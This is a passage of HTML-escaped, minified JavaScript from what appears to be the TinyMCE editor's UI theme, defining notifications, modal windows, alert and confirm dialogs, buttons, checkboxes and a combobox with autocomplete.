Pt),t.on(&quot;click&quot;,function(e){-1!==e.target.className.indexOf(t.classPrefix+&quot;close&quot;)&amp;&amp;t.close()})},renderHtml:function(){var e,t=this,n=t.classPrefix,i=&quot;&quot;,r=&quot;&quot;,o=&quot;&quot;;return t.icon&amp;&amp;(i=&#039;&lt;i class=&quot;&#039;+n+&quot;ico &quot;+n+&quot;i-&quot;+t.icon+&#039;&quot;&gt;&lt;/i&gt;&#039;),e=&#039; style=&quot;max-width: &#039;+t.maxWidth+&quot;px;&quot;+(t.color?&quot;background-color: &quot;+t.color+&#039;;&quot;&#039;:&#039;&quot;&#039;),t.closeButton&amp;&amp;(r=&#039;&lt;button type=&quot;button&quot; class=&quot;&#039;+n+&#039;close&quot; aria-hidden=&quot;true&quot;&gt;\xd7&lt;/button&gt;&#039;),t.progressBar&amp;&amp;(o=t.progressBar.renderHtml()),&#039;&lt;div id=&quot;&#039;+t._id+&#039;&quot; class=&quot;&#039;+t.classes+&#039;&quot;&#039;+e+&#039; role=&quot;presentation&quot;&gt;&#039;+i+&#039;&lt;div class=&quot;&#039;+n+&#039;notification-inner&quot;&gt;&#039;+t.state.get(&quot;text&quot;)+&quot;&lt;/div&gt;&quot;+o+r+&#039;&lt;div style=&quot;clip: rect(1px, 1px, 1px, 1px);height: 1px;overflow: hidden;position: absolute;width: 1px;&quot; aria-live=&quot;assertive&quot; aria-relevant=&quot;additions&quot; aria-atomic=&quot;true&quot;&gt;&lt;/div&gt;&lt;/div&gt;&#039;},postRender:function(){var e=this;return u.setTimeout(function(){e.$el.addClass(e.classPrefix+&quot;in&quot;),Wt(e,e.state.get(&quot;text&quot;))},100),e._super()},bindStates:function(){var t=this;return t.state.on(&quot;change:text&quot;,function(e){t.getEl().firstChild.innerHTML=e.value,Wt(t,e.value)}),t.progressBar&amp;&amp;(t.progressBar.bindStates(),t.progressBar.state.on(&quot;change:value&quot;,function(e){Wt(t,t.state.get(&quot;text&quot;))})),t._super()},close:function(){return this.fire(&quot;close&quot;).isDefaultPrevented()||this.remove(),this},repaint:function(){var e,t;e=this.getEl().style,t=this._layoutRect,e.left=t.x+&quot;px&quot;,e.top=t.y+&quot;px&quot;,e.zIndex=65534}});function Ot(o){var s=function(e){return e.inline?e.getElement():e.getContentAreaContainer()};return{open:function(e,t){var n,i=w.extend(e,{maxWidth:(n=s(o),we.getSize(n).width)}),r=new Dt(i);return 0&lt;(r.args=i).timeout&amp;&amp;(r.timer=setTimeout(function(){r.close(),t()},i.timeout)),r.on(&quot;close&quot;,function(){t()}),r.renderTo(),r},close:function(e){e.close()},reposition:function(e){K(e,function(e){e.moveTo(0,0)}),function(n){if(0&lt;n.length){var e=n.slice(0,1)[0],t=s(o);e.moveRel(t,&quot;tc-tc&quot;),K(n,function(e,t){0&lt;t&amp;&amp;e.moveRel(n[t-1].getEl(),&quot;bc-tc&quot;)})}}(e)},getArgs:function(e){return e.args}}}var At=[],Bt=&quot;&quot;;function Lt(e){var t,n=ye(&quot;meta[name=viewport]&quot;)[0];!1!==ce.overrideViewPort&amp;&amp;(n||((n=_.document.createElement(&quot;meta&quot;)).setAttribute(&quot;name&quot;,&quot;viewport&quot;),_.document.getElementsByTagName(&quot;head&quot;)[0].appendChild(n)),(t=n.getAttribute(&quot;content&quot;))&amp;&amp;void 0!==Bt&amp;&amp;(Bt=t),n.setAttribute(&quot;content&quot;,e?&quot;width=device-width,initial-scale=1.0,user-scalable=0,minimum-scale=1.0,maximum-scale=1.0&quot;:Bt))}function zt(e,t){(function(){for(var e=0;e&lt;At.length;e++)if(At[e]._fullscreen)return!0;return!1})()&amp;&amp;!1===t&amp;&amp;ye([_.document.documentElement,_.document.body]).removeClass(e+&quot;fullscreen&quot;)}var It=Ct.extend({modal:!0,Defaults:{border:1,layout:&quot;flex&quot;,containerCls:&quot;panel&quot;,role:&quot;dialog&quot;,callbacks:{submit:function(){this.fire(&quot;submit&quot;,{data:this.toJSON()})},close:function(){this.close()}}},init:function(e){var n=this;n._super(e),n.isRtl()&amp;&amp;n.classes.add(&quot;rtl&quot;),n.classes.add(&quot;window&quot;),n.bodyClasses.add(&quot;window-body&quot;),n.state.set(&quot;fixed&quot;,!0),e.buttons&amp;&amp;(n.statusbar=new pt({layout:&quot;flex&quot;,border:&quot;1 0 0 0&quot;,spacing:3,padding:10,align:&quot;center&quot;,pack:n.isRtl()?&quot;start&quot;:&quot;end&quot;,defaults:{type:&quot;button&quot;},items:e.buttons}),n.statusbar.classes.add(&quot;foot&quot;),n.statusbar.parent(n)),n.on(&quot;click&quot;,function(e){var t=n.classPrefix+&quot;close&quot;;(we.hasClass(e.target,t)||we.hasClass(e.target.parentNode,t))&amp;&amp;n.close()}),n.on(&quot;cancel&quot;,function(){n.close()}),n.on(&quot;move&quot;,function(e){e.control===n&amp;&amp;Ct.hideAll()}),n.aria(&quot;describedby&quot;,n.describedBy||n._id+&quot;-none&quot;),n.aria(&quot;label&quot;,e.title),n._fullscreen=!1},recalc:function(){var e,t,n,i,r=this,o=r.statusbar;r._fullscreen&amp;&amp;(r.layoutRect(we.getWindowSize()),r.layoutRect().contentH=r.layoutRect().innerH),r._super(),e=r.layoutRect(),r.settings.title&amp;&amp;!r._fullscreen&amp;&amp;(t=e.headerW)&gt;e.w&amp;&amp;(n=e.x-Math.max(0,t/2),r.layoutRect({w:t,x:n}),i=!0),o&amp;&amp;(o.layoutRect({w:r.layoutRect().innerW}).recalc(),(t=o.layoutRect().minW+e.deltaW)&gt;e.w&amp;&amp;(n=e.x-Math.max(0,t-e.w),r.layoutRect({w:t,x:n}),i=!0)),i&amp;&amp;r.recalc()},initLayoutRect:function(){var e,t=this,n=t._super(),i=0;if(t.settings.title&amp;&amp;!t._fullscreen){e=t.getEl(&quot;head&quot;);var r=we.getSize(e);n.headerW=r.width,n.headerH=r.height,i+=n.headerH}t.statusbar&amp;&amp;(i+=t.statusbar.layoutRect().h),n.deltaH+=i,n.minH+=i,n.h+=i;var o=we.getWindowSize();return n.x=t.settings.x||Math.max(0,o.w/2-n.w/2),n.y=t.settings.y||Math.max(0,o.h/2-n.h/2),n},renderHtml:function(){var e=this,t=e._layout,n=e._id,i=e.classPrefix,r=e.settings,o=&quot;&quot;,s=&quot;&quot;,a=r.html;return e.preRender(),t.preRender(e),r.title&amp;&amp;(o=&#039;&lt;div id=&quot;&#039;+n+&#039;-head&quot; class=&quot;&#039;+i+&#039;window-head&quot;&gt;&lt;div id=&quot;&#039;+n+&#039;-title&quot; class=&quot;&#039;+i+&#039;title&quot;&gt;&#039;+e.encode(r.title)+&#039;&lt;/div&gt;&lt;div id=&quot;&#039;+n+&#039;-dragh&quot; class=&quot;&#039;+i+&#039;dragh&quot;&gt;&lt;/div&gt;&lt;button type=&quot;button&quot; class=&quot;&#039;+i+&#039;close&quot; aria-hidden=&quot;true&quot;&gt;&lt;i class=&quot;mce-ico mce-i-remove&quot;&gt;&lt;/i&gt;&lt;/button&gt;&lt;/div&gt;&#039;),r.url&amp;&amp;(a=&#039;&lt;iframe src=&quot;&#039;+r.url+&#039;&quot; tabindex=&quot;-1&quot;&gt;&lt;/iframe&gt;&#039;),void 0===a&amp;&amp;(a=t.renderHtml(e)),e.statusbar&amp;&amp;(s=e.statusbar.renderHtml()),&#039;&lt;div id=&quot;&#039;+n+&#039;&quot; class=&quot;&#039;+e.classes+&#039;&quot; hidefocus=&quot;1&quot;&gt;&lt;div class=&quot;&#039;+e.classPrefix+&#039;reset&quot; role=&quot;application&quot;&gt;&#039;+o+&#039;&lt;div id=&quot;&#039;+n+&#039;-body&quot; class=&quot;&#039;+e.bodyClasses+&#039;&quot;&gt;&#039;+a+&quot;&lt;/div&gt;&quot;+s+&quot;&lt;/div&gt;&lt;/div&gt;&quot;},fullscreen:function(e){var n,t,i=this,r=_.document.documentElement,o=i.classPrefix;if(e!==i._fullscreen)if(ye(_.window).on(&quot;resize&quot;,function(){var e;if(i._fullscreen)if(n)i._timer||(i._timer=u.setTimeout(function(){var e=we.getWindowSize();i.moveTo(0,0).resizeTo(e.w,e.h),i._timer=0},50));else{e=(new Date).getTime();var t=we.getWindowSize();i.moveTo(0,0).resizeTo(t.w,t.h),50&lt;(new Date).getTime()-e&amp;&amp;(n=!0)}}),t=i.layoutRect(),i._fullscreen=e){i._initial={x:t.x,y:t.y,w:t.w,h:t.h},i.borderBox=Me(&quot;0&quot;),i.getEl(&quot;head&quot;).style.display=&quot;none&quot;,t.deltaH-=t.headerH+2,ye([r,_.document.body]).addClass(o+&quot;fullscreen&quot;),i.classes.add(&quot;fullscreen&quot;);var s=we.getWindowSize();i.moveTo(0,0).resizeTo(s.w,s.h)}else i.borderBox=Me(i.settings.border),i.getEl(&quot;head&quot;).style.display=&quot;&quot;,t.deltaH+=t.headerH,ye([r,_.document.body]).removeClass(o+&quot;fullscreen&quot;),i.classes.remove(&quot;fullscreen&quot;),i.moveTo(i._initial.x,i._initial.y).resizeTo(i._initial.w,i._initial.h);return i.reflow()},postRender:function(){var t,n=this;setTimeout(function(){n.classes.add(&quot;in&quot;),n.fire(&quot;open&quot;)},0),n._super(),n.statusbar&amp;&amp;n.statusbar.postRender(),n.focus(),this.dragHelper=new ct(n._id+&quot;-dragh&quot;,{start:function(){t={x:n.layoutRect().x,y:n.layoutRect().y}},drag:function(e){n.moveTo(t.x+e.deltaX,t.y+e.deltaY)}}),n.on(&quot;submit&quot;,function(e){e.isDefaultPrevented()||n.close()}),At.push(n),Lt(!0)},submit:function(){return this.fire(&quot;submit&quot;,{data:this.toJSON()})},remove:function(){var e,t=this;for(t.dragHelper.destroy(),t._super(),t.statusbar&amp;&amp;this.statusbar.remove(),zt(t.classPrefix,!1),e=At.length;e--;)At[e]===t&amp;&amp;At.splice(e,1);Lt(0&lt;At.length)},getContentWindow:function(){var e=this.getEl().getElementsByTagName(&quot;iframe&quot;)[0];return e?e.contentWindow:null}});!function(){if(!ce.desktop){var n={w:_.window.innerWidth,h:_.window.innerHeight};u.setInterval(function(){var e=_.window.innerWidth,t=_.window.innerHeight;n.w===e&amp;&amp;n.h===t||(n={w:e,h:t},ye(_.window).trigger(&quot;resize&quot;))},100)}ye(_.window).on(&quot;resize&quot;,function(){var e,t,n=we.getWindowSize();for(e=0;e&lt;At.length;e++)t=At[e].layoutRect(),At[e].moveTo(At[e].settings.x||Math.max(0,n.w/2-t.w/2),At[e].settings.y||Math.max(0,n.h/2-t.h/2))})}();var Ft,Ut,Vt,Yt=It.extend({init:function(e){e={border:1,padding:20,layout:&quot;flex&quot;,pack:&quot;center&quot;,align:&quot;center&quot;,containerCls:&quot;panel&quot;,autoScroll:!0,buttons:{type:&quot;button&quot;,text:&quot;Ok&quot;,action:&quot;ok&quot;},items:{type:&quot;label&quot;,multiline:!0,maxWidth:500,maxHeight:200}},this._super(e)},Statics:{OK:1,OK_CANCEL:2,YES_NO:3,YES_NO_CANCEL:4,msgBox:function(e){var t,i=e.callback||function(){};function n(e,t,n){return{type:&quot;button&quot;,text:e,subtype:n?&quot;primary&quot;:&quot;&quot;,onClick:function(e){e.control.parents()[1].close(),i(t)}}}switch(e.buttons){case Yt.OK_CANCEL:t=[n(&quot;Ok&quot;,!0,!0),n(&quot;Cancel&quot;,!1)];break;case Yt.YES_NO:case Yt.YES_NO_CANCEL:t=[n(&quot;Yes&quot;,1,!0),n(&quot;No&quot;,0)],e.buttons===Yt.YES_NO_CANCEL&amp;&amp;t.push(n(&quot;Cancel&quot;,-1));break;default:t=[n(&quot;Ok&quot;,!0,!0)]}return new It({padding:20,x:e.x,y:e.y,minWidth:300,minHeight:100,layout:&quot;flex&quot;,pack:&quot;center&quot;,align:&quot;center&quot;,buttons:t,title:e.title,role:&quot;alertdialog&quot;,items:{type:&quot;label&quot;,multiline:!0,maxWidth:500,maxHeight:200,text:e.text},onPostRender:function(){this.aria(&quot;describedby&quot;,this.items()[0]._id)},onClose:e.onClose,onCancel:function(){i(!1)}}).renderTo(_.document.body).reflow()},alert:function(e,t){return&quot;string&quot;==typeof e&amp;&amp;(e={text:e}),e.callback=t,Yt.msgBox(e)},confirm:function(e,t){return&quot;string&quot;==typeof e&amp;&amp;(e={text:e}),e.callback=t,e.buttons=Yt.OK_CANCEL,Yt.msgBox(e)}}}),$t=function(n){return{renderUI:function(e){return Tt(n,this,e)},resizeTo:function(e,t){return le(n,e,t)},resizeBy:function(e,t){return ue(n,e,t)},getNotificationManagerImpl:function(){return Ot(n)},getWindowManagerImpl:function(){return{open:function(n,e,t){var i;return n.title=n.title||&quot; &quot;,n.url=n.url||n.file,n.url&amp;&amp;(n.width=parseInt(n.width||320,10),n.height=parseInt(n.height||240,10)),n.body&amp;&amp;(n.items={defaults:n.defaults,type:n.bodyType||&quot;form&quot;,items:n.body,data:n.data,callbacks:n.commands}),n.url||n.buttons||(n.buttons=[{text:&quot;Ok&quot;,subtype:&quot;primary&quot;,onclick:function(){i.find(&quot;form&quot;)[0].submit()}},{text:&quot;Cancel&quot;,onclick:function(){i.close()}}]),(i=new It(n)).on(&quot;close&quot;,function(){t(i)}),n.data&amp;&amp;i.on(&quot;postRender&quot;,function(){this.find(&quot;*&quot;).each(function(e){var t=e.name();t in n.data&amp;&amp;e.value(n.data[t])})}),i.features=n||{},i.params=e||{},i=i.renderTo(_.document.body).reflow()},alert:function(e,t,n){var i;return(i=Yt.alert(e,function(){t()})).on(&quot;close&quot;,function(){n(i)}),i},confirm:function(e,t,n){var i;return(i=Yt.confirm(e,function(e){t(e)})).on(&quot;close&quot;,function(){n(i)}),i},close:function(e){e.close()},getParams:function(e){return e.params},setParams:function(e,t){e.params=t}}}}},qt=Se.extend({Defaults:{firstControlClass:&quot;first&quot;,lastControlClass:&quot;last&quot;},init:function(e){this.settings=w.extend({},this.Defaults,e)},preRender:function(e){e.bodyClasses.add(this.settings.containerClass)},applyClasses:function(e){var t,n,i,r,o=this.settings;t=o.firstControlClass,n=o.lastControlClass,e.each(function(e){e.classes.remove(t).remove(n).add(o.controlClass),e.visible()&amp;&amp;(i||(i=e),r=e)}),i&amp;&amp;i.classes.add(t),r&amp;&amp;r.classes.add(n)},renderHtml:function(e){var t=&quot;&quot;;return this.applyClasses(e.items()),e.items().each(function(e){t+=e.renderHtml()}),t},recalc:function(){},postRender:function(){},isNative:function(){return!1}}),Xt=qt.extend({Defaults:{containerClass:&quot;abs-layout&quot;,controlClass:&quot;abs-layout-item&quot;},recalc:function(e){e.items().filter(&quot;:visible&quot;).each(function(e){var t=e.settings;e.layoutRect({x:t.x,y:t.y,w:t.w,h:t.h}),e.recalc&amp;&amp;e.recalc()})},renderHtml:function(e){return&#039;&lt;div id=&quot;&#039;+e._id+&#039;-absend&quot; class=&quot;&#039;+e.classPrefix+&#039;abs-end&quot;&gt;&lt;/div&gt;&#039;+this._super(e)}}),jt=Nt.extend({Defaults:{classes:&quot;widget btn&quot;,role:&quot;button&quot;},init:function(e){var t,n=this;n._super(e),e=n.settings,t=n.settings.size,n.on(&quot;click mousedown&quot;,function(e){e.preventDefault()}),n.on(&quot;touchstart&quot;,function(e){n.fire(&quot;click&quot;,e),e.preventDefault()}),e.subtype&amp;&amp;n.classes.add(e.subtype),t&amp;&amp;n.classes.add(&quot;btn-&quot;+t),e.icon&amp;&amp;n.icon(e.icon)},icon:function(e){return arguments.length?(this.state.set(&quot;icon&quot;,e),this):this.state.get(&quot;icon&quot;)},repaint:function(){var e,t=this.getEl().firstChild;t&amp;&amp;((e=t.style).width=e.height=&quot;100%&quot;),this._super()},renderHtml:function(){var e,t,n=this,i=n._id,r=n.classPrefix,o=n.state.get(&quot;icon&quot;),s=n.state.get(&quot;text&quot;),a=&quot;&quot;,l=n.settings;return(e=l.image)?(o=&quot;none&quot;,&quot;string&quot;!=typeof e&amp;&amp;(e=_.window.getSelection?e[0]:e[1]),e=&quot; style=\&quot;background-image: url(&#039;&quot;+e+&quot;&#039;)\&quot;&quot;):e=&quot;&quot;,s&amp;&amp;(n.classes.add(&quot;btn-has-text&quot;),a=&#039;&lt;span class=&quot;&#039;+r+&#039;txt&quot;&gt;&#039;+n.encode(s)+&quot;&lt;/span&gt;&quot;),o=o?r+&quot;ico &quot;+r+&quot;i-&quot;+o:&quot;&quot;,t=&quot;boolean&quot;==typeof l.active?&#039; aria-pressed=&quot;&#039;+l.active+&#039;&quot;&#039;:&quot;&quot;,&#039;&lt;div id=&quot;&#039;+i+&#039;&quot; class=&quot;&#039;+n.classes+&#039;&quot; tabindex=&quot;-1&quot;&#039;+t+&#039;&gt;&lt;button id=&quot;&#039;+i+&#039;-button&quot; role=&quot;presentation&quot; type=&quot;button&quot; tabindex=&quot;-1&quot;&gt;&#039;+(o?&#039;&lt;i class=&quot;&#039;+o+&#039;&quot;&#039;+e+&quot;&gt;&lt;/i&gt;&quot;:&quot;&quot;)+a+&quot;&lt;/button&gt;&lt;/div&gt;&quot;},bindStates:function(){var o=this,n=o.$,i=o.classPrefix+&quot;txt&quot;;function s(e){var t=n(&quot;span.&quot;+i,o.getEl());e?(t[0]||(n(&quot;button:first&quot;,o.getEl()).append(&#039;&lt;span class=&quot;&#039;+i+&#039;&quot;&gt;&lt;/span&gt;&#039;),t=n(&quot;span.&quot;+i,o.getEl())),t.html(o.encode(e))):t.remove(),o.classes.toggle(&quot;btn-has-text&quot;,!!e)}return o.state.on(&quot;change:text&quot;,function(e){s(e.value)}),o.state.on(&quot;change:icon&quot;,function(e){var t=e.value,n=o.classPrefix;t=(o.settings.icon=t)?n+&quot;ico &quot;+n+&quot;i-&quot;+o.settings.icon:&quot;&quot;;var i=o.getEl().firstChild,r=i.getElementsByTagName(&quot;i&quot;)[0];t?(r&amp;&amp;r===i.firstChild||(r=_.document.createElement(&quot;i&quot;),i.insertBefore(r,i.firstChild)),r.className=t):r&amp;&amp;i.removeChild(r),s(o.state.get(&quot;text&quot;))}),o._super()}}),Jt=jt.extend({init:function(e){e=w.extend({text:&quot;Browse...&quot;,multiple:!1,accept:null},e),this._super(e),this.classes.add(&quot;browsebutton&quot;),e.multiple&amp;&amp;this.classes.add(&quot;multiple&quot;)},postRender:function(){var n=this,t=we.create(&quot;input&quot;,{type:&quot;file&quot;,id:n._id+&quot;-browse&quot;,accept:n.settings.accept});n._super(),ye(t).on(&quot;change&quot;,function(e){var t=e.target.files;n.value=function(){return t.length?n.settings.multiple?t:t[0]:null},e.preventDefault(),t.length&amp;&amp;n.fire(&quot;change&quot;,e)}),ye(t).on(&quot;click&quot;,function(e){e.stopPropagation()}),ye(n.getEl(&quot;button&quot;)).on(&quot;click touchstart&quot;,function(e){e.stopPropagation(),t.click(),e.preventDefault()}),n.getEl().appendChild(t)},remove:function(){ye(this.getEl(&quot;button&quot;)).off(),ye(this.getEl(&quot;input&quot;)).off(),this._super()}}),Gt=lt.extend({Defaults:{defaultType:&quot;button&quot;,role:&quot;group&quot;},renderHtml:function(){var e=this,t=e._layout;return e.classes.add(&quot;btn-group&quot;),e.preRender(),t.preRender(e),&#039;&lt;div id=&quot;&#039;+e._id+&#039;&quot; class=&quot;&#039;+e.classes+&#039;&quot;&gt;&lt;div id=&quot;&#039;+e._id+&#039;-body&quot;&gt;&#039;+(e.settings.html||&quot;&quot;)+t.renderHtml(e)+&quot;&lt;/div&gt;&lt;/div&gt;&quot;}}),Kt=Nt.extend({Defaults:{classes:&quot;checkbox&quot;,role:&quot;checkbox&quot;,checked:!1},init:function(e){var t=this;t._super(e),t.on(&quot;click mousedown&quot;,function(e){e.preventDefault()}),t.on(&quot;click&quot;,function(e){e.preventDefault(),t.disabled()||t.checked(!t.checked())}),t.checked(t.settings.checked)},checked:function(e){return arguments.length?(this.state.set(&quot;checked&quot;,e),this):this.state.get(&quot;checked&quot;)},value:function(e){return arguments.length?this.checked(e):this.checked()},renderHtml:function(){var e=this,t=e._id,n=e.classPrefix;return&#039;&lt;div id=&quot;&#039;+t+&#039;&quot; class=&quot;&#039;+e.classes+&#039;&quot; unselectable=&quot;on&quot; aria-labelledby=&quot;&#039;+t+&#039;-al&quot; tabindex=&quot;-1&quot;&gt;&lt;i class=&quot;&#039;+n+&quot;ico &quot;+n+&#039;i-checkbox&quot;&gt;&lt;/i&gt;&lt;span id=&quot;&#039;+t+&#039;-al&quot; class=&quot;&#039;+n+&#039;label&quot;&gt;&#039;+e.encode(e.state.get(&quot;text&quot;))+&quot;&lt;/span&gt;&lt;/div&gt;&quot;},bindStates:function(){var o=this;function t(e){o.classes.toggle(&quot;checked&quot;,e),o.aria(&quot;checked&quot;,e)}return o.state.on(&quot;change:text&quot;,function(e){o.getEl(&quot;al&quot;).firstChild.data=o.translate(e.value)}),o.state.on(&quot;change:checked change:value&quot;,function(e){o.fire(&quot;change&quot;),t(e.value)}),o.state.on(&quot;change:icon&quot;,function(e){var t=e.value,n=o.classPrefix;if(void 0===t)return o.settings.icon;t=(o.settings.icon=t)?n+&quot;ico &quot;+n+&quot;i-&quot;+o.settings.icon:&quot;&quot;;var i=o.getEl().firstChild,r=i.getElementsByTagName(&quot;i&quot;)[0];t?(r&amp;&amp;r===i.firstChild||(r=_.document.createElement(&quot;i&quot;),i.insertBefore(r,i.firstChild)),r.className=t):r&amp;&amp;i.removeChild(r)}),o.state.get(&quot;checked&quot;)&amp;&amp;t(!0),o._super()}}),Zt=tinymce.util.Tools.resolve(&quot;tinymce.util.VK&quot;),Qt=Nt.extend({init:function(i){var r=this;r._super(i),i=r.settings,r.classes.add(&quot;combobox&quot;),r.subinput=!0,r.ariaTarget=&quot;inp&quot;,i.menu=i.menu||i.values,i.menu&amp;&amp;(i.icon=&quot;caret&quot;),r.on(&quot;click&quot;,function(e){var t=e.target,n=r.getEl();if(ye.contains(n,t)||t===n)for(;t&amp;&amp;t!==n;)t.id&amp;&amp;-1!==t.id.indexOf(&quot;-open&quot;)&amp;&amp;(r.fire(&quot;action&quot;),i.menu&amp;&amp;(r.showMenu(),e.aria&amp;&amp;r.menu.items()[0].focus())),t=t.parentNode}),r.on(&quot;keydown&quot;,function(e){var t;13===e.keyCode&amp;&amp;&quot;INPUT&quot;===e.target.nodeName&amp;&amp;(e.preventDefault(),r.parents().reverse().each(function(e){if(e.toJSON)return t=e,!1}),r.fire(&quot;submit&quot;,{data:t.toJSON()}))}),r.on(&quot;keyup&quot;,function(e){if(&quot;INPUT&quot;===e.target.nodeName){var t=r.state.get(&quot;value&quot;),n=e.target.value;n!==t&amp;&amp;(r.state.set(&quot;value&quot;,n),r.fire(&quot;autocomplete&quot;,e))}}),r.on(&quot;mouseover&quot;,function(e){var t=r.tooltip().moveTo(-65535);if(r.statusLevel()&amp;&amp;-1!==e.target.className.indexOf(r.classPrefix+&quot;status&quot;)){var n=r.statusMessage()||&quot;Ok&quot;,i=t.text(n).show().testMoveRel(e.target,[&quot;bc-tc&quot;,&quot;bc-tl&quot;,&quot;bc-tr&quot;]);t.classes.toggle(&quot;tooltip-n&quot;,&quot;bc-tc&quot;===i),t.classes.toggle(&quot;tooltip-nw&quot;,&quot;bc-tl&quot;===i),t.classes.toggle(&quot;tooltip-ne&quot;,&quot;bc-tr&quot;===i),t.moveRel(e.target,i)}})},statusLevel:function(e){return 0&lt;arguments.length&amp;&amp;this.state.set(&quot;statusLevel&quot;,e),this.state.get(&quot;statusLevel&quot;)},statusMessage:function(e){return 0&lt;arguments.length&amp;&amp;this.state.set(&quot;statusMessage&quot;,e),this.state.get(&quot;statusMessage&quot;)},showMenu:function(){var e,t=this,n=t.settings;t.menu||((e=n.menu||[]).length?e={type:&quot;menu&quot;,items:e}:e.type=e.type||&quot;menu&quot;,t.menu=v.create(e).parent(t).renderTo(t.getContainerElm()),t.fire(&quot;createmenu&quot;),t.menu.reflow(),t.menu.on(&quot;cancel&quot;,function(e){e.control===t.menu&amp;&amp;t.focus()}),t.menu.on(&quot;show hide&quot;,function(e){e.control.items().each(function(e){e.active(e.value()===t.value())})}).fire(&quot;show&quot;),t.menu.on(&quot;select&quot;,function(e){t.value(e.control.value())}),t.on(&quot;focusin&quot;,function(e){&quot;INPUT&quot;===e.target.tagName.toUpperCase()&amp;&amp;t.menu.hide()}),t.aria(&quot;expanded&quot;,!0)),t.menu.show(),t.menu.layoutRect({w:t.layoutRect().w}),t.menu.moveRel(t.getEl(),t.isRtl()?[&quot;br-tr&quot;,&quot;tr-br&quot;]:[&quot;bl-tl&quot;,&quot;tl-bl&quot;])},focus:function(){this.getEl(&quot;inp&quot;).focus()},repaint:function(){var e,t,n=this,i=n.getEl(),r=n.getEl(&quot;open&quot;),o=n.layoutRect(),s=0,a=i.firstChild;n.statusLevel()&amp;&amp;&quot;none&quot;!==n.statusLevel()&amp;&amp;(s=parseInt(we.getRuntimeStyle(a,&quot;padding-right&quot;),10)-parseInt(we.getRuntimeStyle(a,&quot;padding-left&quot;),10)),e=r?o.w-we.getSize(r).width-10:o.w-10;var l=_.document;return l.all&amp;&amp;(!l.documentMode||l.documentMode&lt;=8)&amp;&amp;(t=n.layoutRect().h-2+&quot;px&quot;),ye(a).css({width:e-s,lineHeight:t}),n._super(),n},postRender:function(){var t=this;return ye(this.getEl(&quot;inp&quot;)).on(&quot;change&quot;,function(e){t.state.set(&quot;value&quot;,e.target.value),t.fire(&quot;change&quot;,e)}),t._super()},renderHtml:function(){var e,t,n,i=this,r=i._id,o=i.settings,s=i.classPrefix,a=i.state.get(&quot;value&quot;)||&quot;&quot;,l=&quot;&quot;,u=&quot;&quot;;return&quot;spellcheck&quot;in o&amp;&amp;(u+=&#039; spellcheck=&quot;&#039;+o.spellcheck+&#039;&quot;&#039;),o.maxLength&amp;&amp;(u+=&#039; maxlength=&quot;&#039;+o.maxLength+&#039;&quot;&#039;),o.size&amp;&amp;(u+=&#039; size=&quot;&#039;+o.size+&#039;&quot;&#039;),o.subtype&amp;&amp;(u+=&#039; type=&quot;&#039;+o.subtype+&#039;&quot;&#039;),n=&#039;&lt;i id=&quot;&#039;+r+&#039;-status&quot; class=&quot;mce-status mce-ico&quot; style=&quot;display: none&quot;&gt;&lt;/i&gt;&#039;,i.disabled()&amp;&amp;(u+=&#039; disabled=&quot;disabled&quot;&#039;),(e=o.icon)&amp;&amp;&quot;caret&quot;!==e&amp;&amp;(e=s+&quot;ico &quot;+s+&quot;i-&quot;+o.icon),t=i.state.get(&quot;text&quot;),(e||t)&amp;&amp;(l=&#039;&lt;div id=&quot;&#039;+r+&#039;-open&quot; class=&quot;&#039;+s+&quot;btn &quot;+s+&#039;open&quot; tabIndex=&quot;-1&quot; role=&quot;button&quot;&gt;&lt;button id=&quot;&#039;+r+&#039;-action&quot; type=&quot;button&quot; hidefocus=&quot;1&quot; tabindex=&quot;-1&quot;&gt;&#039;+(&quot;caret&quot;!==e?&#039;&lt;i class=&quot;&#039;+e+&#039;&quot;&gt;&lt;/i&gt;&#039;:&#039;&lt;i class=&quot;&#039;+s+&#039;caret&quot;&gt;&lt;/i&gt;&#039;)+(t?(e?&quot; &quot;:&quot;&quot;)+t:&quot;&quot;)+&quot;&lt;/button&gt;&lt;/div&gt;&quot;,i.classes.add(&quot;has-open&quot;)),&#039;&lt;div id=&quot;&#039;+r+&#039;&quot; class=&quot;&#039;+i.classes+&#039;&quot;&gt;&lt;input id=&quot;&#039;+r+&#039;-inp&quot; class=&quot;&#039;+s+&#039;textbox&quot; value=&quot;&#039;+i.encode(a,!1)+&#039;&quot; hidefocus=&quot;1&quot;&#039;+u+&#039; placeholder=&quot;&#039;+i.encode(o.placeholder)+&#039;&quot; /&gt;&#039;+n+l+&quot;&lt;/div&gt;&quot;},value:function(e){return arguments.length?(this.state.set(&quot;value&quot;,e),this):(this.state.get(&quot;rendered&quot;)&amp;&amp;this.state.set(&quot;value&quot;,this.getEl(&quot;inp&quot;).value),this.state.get(&quot;value&quot;))},showAutoComplete:function(e,i){var r=this;if(0!==e.length){r.menu?r.menu.items().remove():r.menu=v.create({type:&quot;menu&quot;,classes:&quot;combobox-menu&quot;,layout:&quot;flow&quot;}).parent(r).renderTo(),w.each(e,function(e){var t,n;r.menu.add({text:e.title,url:e.previewUrl,match:i,classes:&quot;menu-item-ellipsis&quot;,onclick:(t=e.value,n=e.title,function(){r.fire(&quot;selectitem&quot;,{title:n,value:t})})})}),r.menu.renderNew(),r.hideMenu(),r.menu.on(&quot;cancel&quot;,function(e){e.control.parent()===r.menu&amp;&amp;(e.stopPropagation(),r.focus(),r.hideMenu())}),r.menu.on(&quot;select&quot;,function(){r.focus()});var t=r.layoutRect().w;r.menu.layoutRect({w:t,minW:0,maxW:t}),r.menu.repaint(),r.menu.reflow(),r.menu.show(),r.menu.moveRel(r.getEl(),r.isRtl()?[&quot;br-tr&quot;,&quot;tr-br&quot;]:[&quot;bl-tl&quot;,&quot;tl-bl&quot;])}else r.hideMenu()},hideMenu:function(){this.menu&amp;&amp;this.menu.hide()},bindStates:function(){var r=this;r.state.on(&quot;change:value&quot;,function(e){r.getEl(&quot;inp&quot;).value!==e.value&amp;&amp;(r.getEl(&quot;inp&quot;).value=e.value)}),r.state.on(&quot;change:disabled&quot;,function(e){r.getEl(&quot;inp&quot;).disabled=e.value}),r.state.on(&quot;change:statusLevel&quot;,function(e){var 